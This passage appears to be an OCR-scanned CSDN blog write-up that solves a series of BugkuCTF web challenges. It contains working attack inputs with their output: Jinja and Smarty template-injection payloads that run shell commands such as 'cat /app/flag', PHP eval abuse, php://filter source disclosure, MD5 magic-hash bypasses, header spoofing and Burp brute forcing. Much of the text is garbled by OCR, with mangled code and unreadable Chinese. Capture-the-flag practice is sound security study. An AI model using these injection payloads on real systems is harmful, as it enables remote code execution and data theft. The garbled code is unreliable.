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<html zmlns="http:/Swr w3, org/ 1999 xhtml" >

<head>

<meta http-equiv="Content-Type” content="text/html; charset=utf-8" />

{meta name="viewport” content="width=dewvice—width, hizht=device-hight, minimum—=scale=1. 0, maximum—
<titlerBugkuCTF-WEBL</title>

000 =] On N & W P -

{gtvle type="text/css">
body { margin: 0; padding: 0; position: relatiwve; background-image: urliimages/xh. jpg): backgro

=
=

1

14| {fstyler

15

16 | </head>

17 | <body 1id="body¥” onLoad="ini
18| <1 flag {48729aT7d66E 966D} >
19 <zeript type="text/javascript” src="jsf/ThreeCanvas. jz" </ zcript>
20 <=zeript type="text/javascript” sre="jz/Snow. j="r<{ =criptr

P

22 | <{sgcript type="text/javascript”r

23 var SCREEN_WIDTH = window. innerWidth: /s
24 var SCEEEN _HEIGHT = window. innerHeight
25 var container;

26 var particle;//# F

27
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height: Z9px;

}

_code |
display: inline—block;

color: ®ff0000;
font—family: Tahoma, Geneva, sans—serif;
font—style: italic;
font—weight: bold;
text—align: center;
width: 100px;
height: 25bpx;
line—height: 25px;
cursor: pointer;
border:1px solid #eZb4a2;
background: #eZbda?l;

}

Cinput {
width: 100px;

}
</style>

</head>

<{body>

{span id="code” class="nocode”>Jil i%</span> {input type="text” class="input” maxlength="1"/>

<button id="check”>%&il’'(/button>

<div style="text—align:center;”>

<pr#ii:<a href="http://ctf. bugku. com/” target="_blank”>BugKu-ctf<{/a>{/p>
</divy

</body>
<script src="js/jquery-1.12. 3. min. js"></script>
{script type="text/javascript” prc="js/code. js"{</script>
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HEBATR AT L E#E s EXCh A HEF ) js/code js" 7] L E & Fflag

$ (function() {
var code = 9999;
function codes() {

var ranColor = "# + (°00000" + (Math.random() % 0x1000000 << 0).toString(16)).slice(-6); //BHHLA:pEFite
// alert(ranColor)

var ranColor2 = "# + (00000 + (Math.random() * 0x1000000 << 0).toString(16)).slice(-6);

var numl = Math. floor (Math. random() * 100) ;

var num2 = Math. floor (Math. random() * 100) ;

code = numl + num?;

$("#code™). html (numl + "+” + num2 + "=?");
if ($("#code”). hasClass(“nocode”)) {
$ ("#code”) . removeClass ("nocode”) ;
$("#code”). addClass ("code”) ;

}

$("#code”). css (" background’ , ranColor) ;
$("#code”). css( color’, ranColor?2) ;

}
codes ()

$("#code”).on( click’, codes)

$("#check”). click (function() {
if (3(". input” = 4 =
alert{"flag{215c0dc57ch9848e3ed7£70497b48dal} [) ;
} else {
alert ("I AF1R!") ;

}

1)
1
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POST
S AR AL 48 Sn$what=="lag' BI 7T/ Flflag

$what=8$ POST['what'];
echo $what;
if($what="flag")

echo 'flag {****}";
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—_— T e T T e st — g ——— e o — aw

Yy D =5 Bl O BiE . HackBar ) 0?2 ﬂ ses X Swhat=$ POST['what'];
echo $what;
if(Swhat="flag")
echo 'flag {****}";
@ Load URL http://114.67.246.176:18790/ flagflag {bb9fbab783bec598a36562¢3a8650124}

U split URL
& Y

» ) Execute

Postdata [] Referer [ User Agent
[ Cookies Clear All

what=flag

¥ &
1T B AT A E M num R R A B T 1.

- O M A =% | 11467.246.176:16037

Snum=$ GET['num'];
if(lis_numeric($num))
{

echo $num;
if(Snum==1)
echo 'flag{x*rrrrersy

}

MHiEnum=1sa (FFkEAR1) , BIn[{53flag

& C m A TZE | 114.67.246.176:1603]/?num=1sa

Snum=3$ GET['num’];
if(lis_numeric($num))
{

echo $num:;
if(Snum==1)

echo |f|ag{‘k‘k********}':

}
1saflag{17clededc65c7a1ddaf2750825194f5f}

alert
TR H
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© 114.67.246.176:17605

flagattesE

REHINZ G %A Hiiflag

© 114.67.246.176:17605

SR

[ TRFnifF 114.67.246.176:17605 BARMARER

TRBAECr+UEFIRAN, KA —HELE

alert("flagdlifEiZE ")
alertl"SEARIRIE")
alert("ElasBlifERE");
alert("A$RIEIE")
slert("flaglifEXE");
alert("HHFHIT™)
alert("flagghifHRE ")
alert("FHRIEIE"D.
alert("flagglifgiXE")
alere("FAFRIN");
alert("flagdlifEiZE ")
alert("HARFRIE")
alert("ElasBlifERE");
alert (" A$RIEIE")
alert("£lagi7EiRE");
alert("HHFHIT™)
alertl”flaggfTERE");
alert("FHRIEIE"D.
alert("flagglifgiXE")
alertl"EHFRIE"
alert("flagdlifEiZE ")
alertl"SEARIRIE")
alert("ElasBlifERE");
alert (" A$RIEIE")
alert("£lagi7EiRE");
alert("HHFHIT™)
alertl”flaggfTERE");

|

Jaes £ HAHEIM ™Y
Q1 G102 BH108; 6497 $FL03; 641234400 IR0 T, 64101 449 W51 ; 6459 88 102; 1449, 6#102; #4009 W52, 6495 4450 8154 409 101 : (G2 5L HOT BH101 84126, —>¢/sexripk>
eead:

</htnl> CSDN @devil_sad
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Converter

— X
X EslElE TIEF B st 1B TR
A (FsE) :
~RRIER
E2102:&7108:£797 . 87103 ;87123 ;8299 : £597 : £5101 ; £249 : &251 : £299
Text to Hex | Hex to Text §2102- 8249 §2102 62998252 - £296 - £250 - 4756 - 6499 - £#54 . 6499 - &
Dec to Hex Hex to Dec =101 :&=100:&250 8745 ;&=100:&=00 &F100 &~00 &=04 &R55 &507 &
252 8251829782101 82125
Text to Dec Dec to Text
Dec to Octal | Octal to Dec
Text to UTF7 | UTF7 to Text
Hex to UCS2 UCSZ to Hex
JE.Lh Lo DAl y L
Binsrr Iaxt
Escaps Unescape
Encode HTML Decode HTML
dwAL LU DEawUs LU
'H..d‘. ITaxt
Hex to Basefd4 | Basef4 to Hex
~ FERIE
BER/EETE ]
o | [T - -]
srFtx |1 -+ | smbmam.:
EoEE . IT' = flag{caeldcfifcdb28cBeed?1dedcbTaddns)
T sE 1 Delim
gEm (|2 &
Bz |
[T smmm [2 o
FaaE [T
Swap |
[T s mm [2 am
Fawl® [1 &% [1
Hahd B A
EmELEEA
ol ]
e None - & :
| =l éi’fﬂ‘?@dewl_sad

PR ik A4S T
FTHEH, &M TS W E R T
X @ A TEE | 11467.246.176:12168

I want to play Dummy game with others£jBut | can't stop!
Stop at panda ! u will get flag
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X Mm@ A TE=E | 11467.246.176:12168 %6 ] =

| want to play Dummy game with others£jBut | can't stop!
Stop at panda ! u will get flag

CSDN @devil_sad
<html>
<head>
{meta charset="utf-8">
<{meta name="viewport” content="width=device-width, initial-scale=1.0">
{meta name="description” content="">
{meta name="author” contemt="">
{(title>Dummy game</title>
</head>
{script language="JavaScript™>
function myrefresh() {
window. location. reload() ;
setTimeout (" myrefresh()’, 500) ;
</seript>
<body>
{center>{strong>I want to play Dummy game with othersfjBut I can’t stop!</strong><{/center>
{center>Stop at panda ! u will get flag</center>
{center>{div><img src="10. jpg”/></div></center><br><a 5ty1e=”disp1ay:none”>|flag {289f184cedac47a1198840233a4f2032]|(/a></body>
</html> CSDN @devil sad
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| Forward | | Crop

Action

Open Browser

Pretty EEVOM \n Actions v

GET / HTTR/L1.1
Host: 114,67, 246.176: 15825

w ok

un s

Accept-Language: en-US,en;g=0.5
Accept -Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

[ ]

(o]

User-agent: Mozilla/5. 00 ¥11; Linux x86_64; rv:78.0] Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml:q=0.9,image webp,*/%;0=0.8

TV Eiel mn il -
CSDN @devil_sad
ANERY Y V
¥ K% 3| Repeaterd 3 s disend, BiA[#5Zlflag
WU | -ance
== i
Request Response
Pretty m n  Actions v Raw Render (0]
1 hl:_r.fH'I_I'PJ'l.l L HTTR/1.1 200 0K
2 Host: 114, 67,245, 176: 15825 2 Date: Sun, 14 Nov 2021 08 02:57 GMT Bt
S User-Agent: Mozilla/S.0 (X11: Linux x86_64; rv:78.0) 3 Server: Apaches2.4.7 (Ubuntu)
Gecko/20100101 Firefox/78.0 4 ¥-Powered-Ry: PHP/S S 9-Jubuntud & Re
4 Accept: E.IFlag: flag{9e82360126bbeb5339Td02eas25d7d04}
text/html, application/xhtml+xml, application/xml;g=0.9, image/web 5 Vary: Accept-Encoding R
p.¥/*;0=0.8 7 Content-Length: 137
5 Accept-Language: en-US,en;g=0.5 g Connection: close
& Accept-Encoding: gzip. deflate 9 Content-Type: text/html Re
7 Connection: close 10
& Upgrade-Insecure-Requests: 1 11 =html=
9 12 =metahttp-equiv="Content-Type" content="text /html: charset=UTF-
1a 13
14 <pre=
<hr=
=hr=
=br=
=br=
frathigs, <br=
<hr=
15 </html=
CSDN @devil_sad
FTFF 8 B 7] %0 RR 3 225 82 php
<?php
include "flag.php";
$a = @5 REQUEST['hello']:
eval( "var dump ($a);");:
show_source(_ FILE_ ) ;
2x CF M E el anil e
CSDN @devil sad
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array(5) { [0]== string(7) " string(34) " $flag = 'Too Young Too Simple'; " [2]== string(16) " # 1 =i
flag{6330131ecc69c392556552cd09dad36b}; " [4]== string(2) "?=" } <*php

include “flag.php”;

$a = @f_REQUEST[ hello’]:

eval { “wvar_dump($al ;"] ;

show_source(_ FILE )
7>

CSDN @devil sad

ITIF /8 B AT RS S php 2 [ E

> O R A TZEE | 11467.246.176:14031

flag In the variable ! <7phs

error_reporting (0);

include “flagl.php”:

highlight file( file J;

if(izset (5 GET[ arzs’ 100
$ares = 3_GET[ ares'].
if(lpreg_match(”/ \w+3/”, Jargs)) {

die(“args error!”);

1

eval (“var_dump(33arss); )
1

7> CSDN @devil_sad

#E urlj5 %1 \/?args=GLOBALS, Bl 7] 75 Flflag

flag In the variable ! <phe

error_reporting(0];
include “flagl.php”;
highlight_filel__file_);
it (isset($_GET[ arzs’ 1)) {
Jargs = $GET[ arss’1:
it (Ipres_matchl”/ \w+§/”, Jargs))
die(“args error!”);

}
eval ("var_dump (§§arss); ")
}
2
array(7) { ['_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ['_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]="> string(38)
{flag{c44dfff33ealc16cc76595cd3a20bb44}] ["args"]=> string(7) "GLOBALS" ["GLOBALS"]=> *RECURSION* }

CSDN @devil_sad
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TFEE, REEARFEE—ASH



- C O & 11467.246.176:19460
D XlErsiss @ FiErE D =ERt @32 @ CSDN-TUTHEAR.. (Jlenovo @ EEiesh @ ExEENIS

pass a parameter and maybe the flag file's filename is random >

CSDMN @devil sad

« > C O & 11467.246.176:19460/7a=1
O yaErss @ FELiE D =ERLE @ 32 @ CSDN-ZUTHEAL. (Jlenovo @ EEZ2Sh @ ExEBEMNSHC |

pass a parameter and maybe the flag file's filename is random > <2php
include ('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
Ssmarty = nsw Smartv():
if($_GET) {
highlight file('index.php'):
foreach ($_GET AS S$key => Svalus)

print Skey."\n";
if (preg match("/flag|\/flag/1i", S$wvalue)){

Ssmarty->display('./template.html');
telseif (preg match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", 3value)){

$smarty->display('./template.html’');

telse{
Ssmarty->display("eval:".%value);

CSDN @devil_sad
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< > C O 8 114.67.246.176:19460/7a={{2*4}}

O xiEsss @ FFELlE O ALt @ZF @ CSDN-ZWTEARE.. [Jlenovo @ FEZeTR @ BN

pass a parameter and maybe the flag file's filename is random :> <2php
include('./liks/Smarty.class.php');

echo "pass a parameter and maybe the flag file's filename is random :>";
Ssmarty = new Smarty();
if (% _GET) {

highlight file('index.php');

foreach (5 GET RS Skey => Svalue)

print S$key."\n";
if{preg match("/flag|\/flag/i", S5value)){

Ssmarty->display('./template.html"');

telseif (preg match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/1i",

Svalue) ) {
Ssmarty->display('./template.html"');
lelseq
Ssmarty->display("eval:".5value);
H
}
}
s
a8 _ _
CSDN @devil_sad
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« > C O & 114.67.246.176:19460/?a={if passthru("ls /")}{/if}
D diEss @ FErE D 2ERLE @32 @ CSDN-SWTEAR. [Jlenovo @ E8%2ul @ ExOH

pass a parameter and maybe the flag file's filename is random = <2php
include ('./libs/Smarty.class.php');

echo "pass a parameter and maybe the flag file's filename 1s randeom :>";
Ssmarty = new Smartv();
if(5 GET) {

highlight file('index.php'):

foreach ($ _GET AS Skey => Swvalue)

print Skey."\n";
if (preg match ("/flag|\/flag/i", Swvalue)){

Ssmarty->display('./template.html');

telseif (preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/1i", Svalue)){

Ssmarty->display('./template.html');

lelseq
Ssmarty->displav("eval:".%value);

a 9901 bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
rc

CSDIM @devil sad
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< C O & 114.67.246.176:19460/?a={if passthru("less /_9901")}{/if}

Oyanersts @ FiFtls O =AMt @ =2 @ CSDN-ZlTHEAR.. [Dlenovo @) EEZ2L& ¢

pass a parameter and maybe the flag file's filename 1s random :> <zphp
include ('./libs/Smarty.class.php');:

echo "pass a parameter and maybe the flag file's filename is random :3>";
Ssmarty = new Smartv();

if (§_GET) {
highlight file('index.php'):’
foreach (5 GET AS Skey => Svalus)
{
print Skey."\n";
if (preg match("/flag|\/flag/i", Svalue)){

Ssmarty->display('./template.html");

telseif (preg match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/1"

sv

Semarty->display('./template.html") ;

lelse(
Ssmarty->display("eval:".5value);

e

flag {2e1850ad39688edb8e6ce3ef592e83a4 }

CSDN @devil sac

Simple SSTI_1
FTHEE, X2

You need pass in a parameter named flag,

C50M @devil_sad
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{!DOCTYPE html>

<html lang="en”>

<head>
{meta charset="UTF-8">
{title>Simple SSTI</title>

{/head>

<body>

You need pass in a parameter named flag.

{!— You know, in the flask, |We often set a secret_key variable. 1>
</body>
</html>

CSDN @devil_sad

fEURLJEN? flag={{config.SECRET_KEY}}, Bi#75%lflag.
config: REX AT E

< C O & 114.67.246.176:13652/?flag={{config.SECRET_KEY}}

O yanersts @ FiFrtk DO =AMt @ =2 @ CSDN-TlTHEA.. [Jlenovo @ EEZ2LHR

flag{34aebc20342db1699cca79d9b86fd78a}

CSDN @devil sad
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- C O & 114.67.246.176:12577
O xiests @ FFLie DO =AMt @ 32 @ CSDN-ZTHEA#.. [JLlenovo

You need pass in a parameter named flag

CSDN @devil sad
BEZERRAE— LM

_ class__ RERBFBEHNR (X

_mro__ RE—AME X RETARMERTTH, TrIETE MR 1 BR T MR AR AT .

__base_ RENZX BT AMER

// __base_ Fl__mro_ #RFRIHERK

__subclasses__  BAFEHRET FRWGIH, IANFERE—ANEFTRTHKK G HBSIR
_init_ MBS

__globals__ WHASRHERZEMFHRHSIA

&~ C O 8 114.67.246.176:12577/?flag={{ config. class_. init_. globals_['0s].popen(ls ../").read()
OyaiEsts @ FiFtls O=EEMLt @ %2 @ CSDN-ZTEAM. [Dlenovo @ FEZ2TR @ EEHEMUSHG @ MERES
app bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var

CSDN @devil_sad

HiEcat—F

« = C O 8 114.67.246.176:12577/2flag={{ config. class . init . globals ['0s'].popen(cat /app/flag’).read() }}

O xmEAs @ FFtE DALt @22 @ CSDN-ZlTEARI. ([Dlenovo @ FER2TR @ BREBEMUSHG @ MERSERRSIEE(.

Iflag{86b4737¢001fb79315¢1fc3dacda179f} | CSDN @devil_sad
14 = B %

ITIFRE B AR BAT] 75 B\ T A B RS

NIRRT seoee H%‘
ZIEAER, BEEFEA.

CS5DN @devil_sad

BATAT LU burp suite @Bk Kk i %5 1Y



LR DL L et W R D e e

[Target I Proxy T Spider I Scanner Tlntmder T Repeater [ Sequencer T Decoder [ Comparer I Extender T Cptions IA|EI’T.S ]

1«2 =

Target | Positions TPaonads [Options }

liJ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload

positions - see help for full details.

Attack type: [Sniper

|']

POST /?yes HTTR/L.L

Host: 114.67.246.176:13764

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf£4; x€4; rv:94.0) Gecko/Z01l00101 Firefox/594.0
Accept: text/html,application/xhtml+xml, application/=ml;q=0.9, image/avif, image/webp, */*;q=0.8
Loecept-Language: zh-CW, zh:;g=0.8, 2h-TW:gq=0.7, eh-HE; =0. 5, en-U3;g=0.3,en;g=0.2
Aoecept-Encoding: gzip, deflate

Content-Type: application/x-wwv-form—urlencoded

Content-Length: 9

Crigin: http://114.67.246.176: 13764

Connection: keep-aliwve

Referer: http://L14.67.246.176: 13764/ 2ves

Upgrade-Insscure-Regquests: 1

[pvd=§12345§ |

BiR Gy 20

T




1 BB Intruder attack 1

2 Attack Save Columns

:_[ Results I Target T Positions I Payloads T Options }

=

I»l

\

Filter: Showing all items
g
1 | Request L| Payload |Status | Error | T|meuut| Length Comment
410 200 O ] 1404
i 00000 200 O O] 1404
:' 2 10000 200 O ] 1404
23 20000 200 O O] 1404
14 30000 200 O ] 1404
5 40000 200 O O] 1404
t
6 50000 200 O ] 1404
7 60000 200 O O] 1404
|8 70000 200 O ] 1404
El9 a0000 200 | | 1404

)

11835 of 100000 [

CSDR@devil sad
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ntruder attack 1 - O s

Attack Save Columns

&
_[ Results ITarget T Positions I Payloads T Options } =
— #
Filter: Showing all items )
Request | Payload | Status | Error | ﬂmeuut| Length A| Comment
86422 12468 200 L] ] 332 .
0 200 O O 1404
|1 00000 200 ] ] 1404
2 10000 200 O O 1404
3 20000 200 ] ] 1404
4 30000 200 O O 1404
4 40000 200 ] ] 1404
7 60000 200 O O 1404
6 50000 200 ] ] 1404
8 70000 200 | ] 1404 :
Request | Response ]
jRaw T Headers T Hex }
HTTR/M .1 200 0K A
Date: Thu, 18 Moy 2021 01:39:25 GMT )
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHF/5.5.9-Tubuntud &
Set-Cookie: isview=12468; expires=Thu, 18-Mow-2021 04:39:25 GMT, Max-Age=10800
Content-Length: 65
Connection: close
Content-Type: text/html
hi flag{957085d76633b56f6bTh4b0701cc128f}
=
</body>
</html=
b
b
? < + > | | Type a search term 0 matches

T

- _J—i—)—'-dlr_.l—':—"r-hh_ﬂ-r r_|
Finished QJJ_'

&« C O & 114.67.246.176:13764/?yes

OxaiEmts @ FFrtis D=AMit @ 33 @ CSDN-ZUTHEA

CSDN @devil_sad

7% 3h B L R
STIHE B RN P LR, RO

EEIRHR

Username: | |
Password: | |

| submit || Reset |

IPszibinia, mREAEEERE, PEMCR |
alalalalnlnlolnintalalolalalalalalnlnlnlalelnintatalolatalalalalelnlnlnlolnlntalalolalalalalalelnlninlolnlatatalalalalalalalalalinlninlolalalalalalalalalalolniniatalolalalolalolalalalalolnlnintalolalatalalolalalalalalnlninlalolalatolalolalalalalalelnlatalololalalalalalalalalnlolninlalslalalalalalolalalnlalels}

CSDN @devil_sad

BT burpsuitedN 8 & % Flrepeaterth i XFFLiE R 5, GO— T B w15 Flflag



L
Burp Intruder Repeater Window Help

[ Target T

I Spider I Scanner I Intruder I Repeater T Sequencer I Decoder T Comparer I Extender I Project options I User options IAIens l

(il

| Ge |

[ [EI Params | Headers E]

Target: hitp://[114.67.246.176:17471 | #| | 7

Raw | Headers I Hex I HTML I Render l

Name Value

Referer http:/i114.67.246.176:17471/7127.0.0.1 2
Content-Type application/x-www-form-urlencoded
Content-Length 23

Origin http://114.67.246.176:17471

Connection close

Cookie isview=12468

Upgrade-Insecure-Requ... 1

K-Forwarded-For 127.0.01

user=adminépass=test123

T8 H

C QO A =2 | 11467.246.176:15048

BEFARE LRI 4, ERESEET

Add

| Remove |

Up

Down

e

Y ¥

HTTP/1.1 200 OK

Date: Thu, 18 Mov 2021 03:10:58 GMT
Server: Apache/2.4.7 (Ubuntu)
K-Powerzd-By: PHP/S.5.9-1ubuntud 6
Wary: Accept-Encoding
Content-Length: 5506

Connection: close

Content-Type: text/html

hO<html>
<head=

<title>

a5 A i HEERiO

<ftitle> o

<form method="P(
<p=Username: <input type="text" nam
<p=>Password: <input type="pa

<p>

<input type="submit" value="Submit"/>

<input type="reset" value="Reset"/>
<."|j.>
<fform:

<font style="c: Dl.#FFEIEIEID"><hC1'>T+ flag is: ﬂag{41T5fh2d4d5234h2792T0a933ﬂ]9624a}|<f'h$'><l:-|><-"fDnt>
</body
</html=

el

Artianag ©

© 2012-2013 FEKZEEKE . All Rights Reserved.




¥ @815 (ESIAE) BY: fIRIFIER QQ:343034656 — %
yrEieEE || mEEEEe | RERMEN | SHREBER | wo@EEX | RGEE |

| wmgREEAE | eRE || CLOE [aenE [ weae | 0 ﬁ%ﬁ:ﬁ@ %ztitgﬁﬂ
| EBSAEERE | B [T - AR | @efo | @M | P T R ASFL b
{ELL#E: 1 PHEEE: HEER HEEE: o/al
http://114.67.246.176:1 0 i HTTEORIG:

1 http://114.67. 246. 176: 15048/ 1ndex. php 200

2 http: //114.67. 246, 176:15048/shell. php 200

3 http://114. 67 246, 17615048/ index. phps 403

<. >

e e ||z i

KT webshell

WebShell

CS0) @eleyil Lzl

T2 Hbpi2#i15 Hiflag



WebShell

levii sad

PEACHS
TR B RO R

C O & 114.67.246.176:11339

D amsmss S FELE O =ARL @ 5raE

O HEREEFUSR, Firfo BAXFATBNERSRAR, BT —SHRILK AR

BEIRES?

CSDM @devil_sad

BHEFERGZ G RIA TR R

<html>

<title>BUGKUCTF-WEB13</title>

<body>

<{div style="display:none;”></div>

<form action="index. php” method="post” >

FHEAN? <br>

<br>

<{script>

var pl = %B86%75%6e%63%74%69%61%6e%20%63%68%65%63%6b%53%75%62%6d%69%7 4%28%29%7h% 76%61%72%20%61%3 d%64%6 £F%63%75%6d%65%6e%74%2e%6 7%65%74%45%6c %65%6d%65%66%74%42%79%49%64%28%22%70%61%7 3%7 3%7
var p2 = %61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%6 1%2e%76%61%6c%75%65%20%7 2%65%74%75%72%6e%21%30%3b%6 1%6cH65%72%T4%28%22%45%7 2%7 2%6 £%72%22%29%3b%6 1%2e%66%6 £%6 3%7
eval (unescape (pl) + unescape (" %35%34%61%61%32" + p2));

</script>

<input type="input” name="flag” id="flag” />
<input type="submit” name="submit” value="Submit” />

</form>
</body>
</html> CSDN @devil_sad

TRYHEZ G AT f# 8



Unicode # &03Z | i3 % Unicode ~ ASCI # Unicode  Unicode # ASCIl | B4R o} f£2 Unicode fRIGEEIR

1 %22%29%2e%65%6e%7 3% 7 0%62%6d%69%T4%3d%63%68%60%63%60%03%7 2%62%6d%69%74%3b 1 function checkSubmit () {var a=document. getElementById( password”);

if ("undefined” !=tvpeof

a) {if ("67d709b2baab48cf6e87a7114f1 " —a. value) return! 0;alert ("Brror”) ;

a. focus() ;

return!1} }document. getElementById (" levelQuest”). onsubmit=checkSubmit ;

PR B AR SRR SR RACRD 4R n AT Bf 3%, 8 Fflag

BEIRE?

| | Submit |

Bflag: flag{b21bdaa8e54ceeb2b54a5d5ba70e90b9}

CS5DN @c

evil_sad

e
HTIFE H

O 8 114.67.246.176:14947 f/index.php?file=show.phf

O xamEsss Y FFELE O =EAMLE © FrEsE

I
O HiEEAFE, Firefox EREPATRINEMERSEN, AT SHIINISENS AN, &0

index.php

]

_SDN @devil_sad
¥ N 1T baseb4dmts f5 BnE NI A% b, B TR

?file=php://filter/read=convert.base64-encode/resource=xxx.php

php://filter Al AZREUTE & SCH VRS

A view-source:http://114.67.246.176:14947/file=php://filter/read=convert base64-encode/resource=index.php

R ) HFE LR O mAREE @ R

© HIEEEPEE, Firefox BEESATIINERASRATRN, AT —SRUINSENSEE, Sl mtEE TR =R, PSRN SRR

<html>
<title>Bugku-web<{/title>

CSDN @devil_sad

-}
Dsangs toss

X

TTu/PGhObWw+DQogICAgPHRpAGx 1Pk J1221 1LXd1Y jwvdGLObGU+DQogICAgDQ0o8P3Boc AOKCWVyem9yX3 T 1eGIydGluZygwkTsNCglpZighJFOHRVRbZm1 sZVO0pe2V jaG8g JzxhIGhyZWY9Ii 4vaW5kZXgchthZZprUQO’Zh\[Ide@;a}-LA/iPmstW
CS @devil_sad



RS 2 5153 2lflag

Base6447hot%iH

77u/PGhObWw+DQogI CAgPHRpdGx 1Pk J1Z2t 1LXd1Y jwvdGl0bGU+DQogICAgDAo8P 3BocAOKCHVyemIyX3 J1eGIydGluZygwKTsNCglpZigh JFOHRVRbZmL
sZV0pe2V jaGB8g JzxhIGhyZWY9T1i4dvaWokZXgucGhwP2ZpbGU9c2hvdybwaHA i PmNsaWNrIG11PyBubzwvYT4n030NCgkkZm]l sZTOkX0dFVFsnZml sZSddOw
OKCW1mKHNOcnNOcigkZml sZSwili4vIil8fHNOcmlzdHIoJGZpbGUsICJ0cCIpfHxzdH Jpe3RyKCRmaWx1LC JpbnBldCIpfHxzdHJpc3RyKCRmaWx1LCJkY
XRhTikpewOKCQ11Y2hvICTPaCBubyEiOw0KCQ11eGlOKCkTDGo JFQORCT1uY2x 1ZGUo JGZpbGUpOYANC 8vZmxhZzpmbGFne 2FKMTAY z¥ IMDY3NGU1Z i Tw
ZTd1ZmQwOGRmYzUwY JESTQOKPz4NC jwvaHRthD4NCg==

[ | nmms | [gEen | OsERsUTF-85 1550

} ~
include ($file) :

//flagL
iod
</html>

=00

BasefRA3%%): Base64 Base32 Basel16 C

CSDN @devil_sad

& R A4 X R
T, 2REMRIDER

< =2 O A T=EE | 11467.246.176:17141

441d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427¢e

CSDN @devil sad

LBV Il ESE



o (BET) MREEEmE 1R 2EhR By (HSIF1IR QQ:343034656 — ¥

{4 http://114.67.246.176:17141/ | OFwBRR BiEE |
$78: 20 (% cPuB *+ 5B{2) [ DIR: 1153 [v] Aspi: 822 (1 #FRlz00
[4] AsE: 1854 [ BHE: 1103 [ #Eml403

ERE (¥ BEMNERER) ws: 419 [ I5P: 63t & s
HEES: HE=m. PfEdE: o HERE: 0

1D i HITPARI R

1 http://114.67.246. 176: 17141 /1ndex. php 200

2 http: //114.67.246. 17617141 /index. phps 403

[3 http://114.67.246. 176:17141/index. php. bak | 200

CSDN @devil_sad

RiEEAITIT



J ndex.php.bak - id=4~
STE(F) REE(E) TESN(O) EE(V) EEN(H)
<?php
/*'k
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*f

include once "flag.php”;

ini_set("display errors”, 0);

$str = strstr($ SERVER['REQUEST URI'], '?");
$str = substr($str,1);

$str = str_replace(‘key',"”, $str);

parse str($str);

echo md5($key1);

echo md5($key2);

if(md5($key1) == md5($Skey2) && Skey1 == $key2){
echo $flag."EliEflag"”;

}

?>

CSDM @devil sad

AR A AT A e T

ETHESRBATE Hikey 1 Akey2 I mdSIEARSE, T B4 & A A HHEHEpayload: ?
kkeyey1=QNKCDZO&kkeyey2=240610708

< - O A TZ=E | 114.67.246.176:17141/7kkeyey1=QNKCDZO8kkeyey? =240610708

0e8304004519934940580242199033910e46209743190650901 9562988736854f|ag{42dc1 636e7d31 8ebf009098c5336f884]§@.@ﬁ§flag
CSDN @d

wdevil_sad

game1

I E R E AT A%,



T*X 2o R
X

FR—IRIB!

@devil_sad
14 &7 175 334

Fbp &, mTLAEFIAME sign:zMMju===, EINTA= f#5/5 &M 525, BIFRAIBriERE 2%, 50t R 3RAT
R M BOLF) T KA flaght) BB B AT LA3REflag. (HEAEIRT ! )

signy zZM + base644mig s + ==

Burp Intruder Repeater Window Help

[Target I Proxy [ Spider [ Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options [A\erts ]

Go Cancel < | > | Target: http:/114.67.175.224:11(
Request Response
Raw | Params | Headers | Hex Raw

e

SET fscore.php?score=25&ip=58.212.83.232Esign=zMMJU=== HTTF/M.1
Host: 114.67.175.224:11040

Jser-Agent: Mozilla/s.0 (Windows NT 10.0; Winb4; x64; nv:94.0) Gecko/20100101
=irefox/94.0

Aecept:

Accept-Language: zh-CM zh;q=0.8,zh-TW, q=0.7 ;zh-HK;3=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: http:/(f114.67.175.224: 11040/

Cookie: Hm_vt_c1b0441909411ac4213045f0478e96fc=1637827855;
Am_lpvt_c1h044209411ac4213045f0478296fe=163782865E;
_ga=GA1.1.1173805314.1637827858; _gid=GA1.1.838385936.1637827858; _gat=1

cor = P
_oUN e ,’.._J:\‘_l

#99999%% 15 i £ signH



99999

E || e || R | OmemAUTR-8
0Tk50Tk=

CSDMN @devil sad

TRBMNEERBESHRK, WABEflag (FERAMEZAHEE

| Target | Proxy ‘ Spider | Scanner | Intruder ‘ Repeater ‘ Sequencer | Decoder | Comparer ‘ Extender ‘ Praject options | User options | Alerts ‘

1|2 |3 |4 |5=|6=|T=x=|8x= [8al.

Go Cancel | [ < [v || >|¥ Target: hitp://114.67.175.224:11040 @@

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

SET /score.php?score=99999 &ip=58.212.83.232&sign=zMCTkE 0 Tk=== HTTF/1.1 : HTTR.1 200 0K :
Host: 114.67.175.224:11040 Date: Thu, 25 Nov 2021 09:09:20 GMT

Jser-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; nv84.0) Gecko/20100101 Firefox/94.0 Server: Apache/2.4.25 (Debian)

Scoept: ¥-Powered-By: PHP/7.0.33

Sccept-Language: zh-CM,zh;q=0.8,zh-TW;q=07 zh-HK;q=0.5 en-US;4q=0.3 &en;q=0.2 Content-Length: 358

Sceept-Encoding: gzip, deflate Connection: close

Zonnection: close Content-Type: text/html; charset=UTF-8

2eferer: hitp:/114.67.175.224:11040/? s=1637830261692

Cookie: Hm_ht_c1b0441909411 ac4213045f047896fc=1637627655; flag{c3b9571e184e09a3422679b2b4314c93}

Am_lpvt_c1h044{909411ac4213045f0478e96fc=1637830291; _ga=GA1.1.1173805314.1637827858;
_gid=GA1.1.6383855936. 1637827858, _gat=1

CSDMN @devil_sad

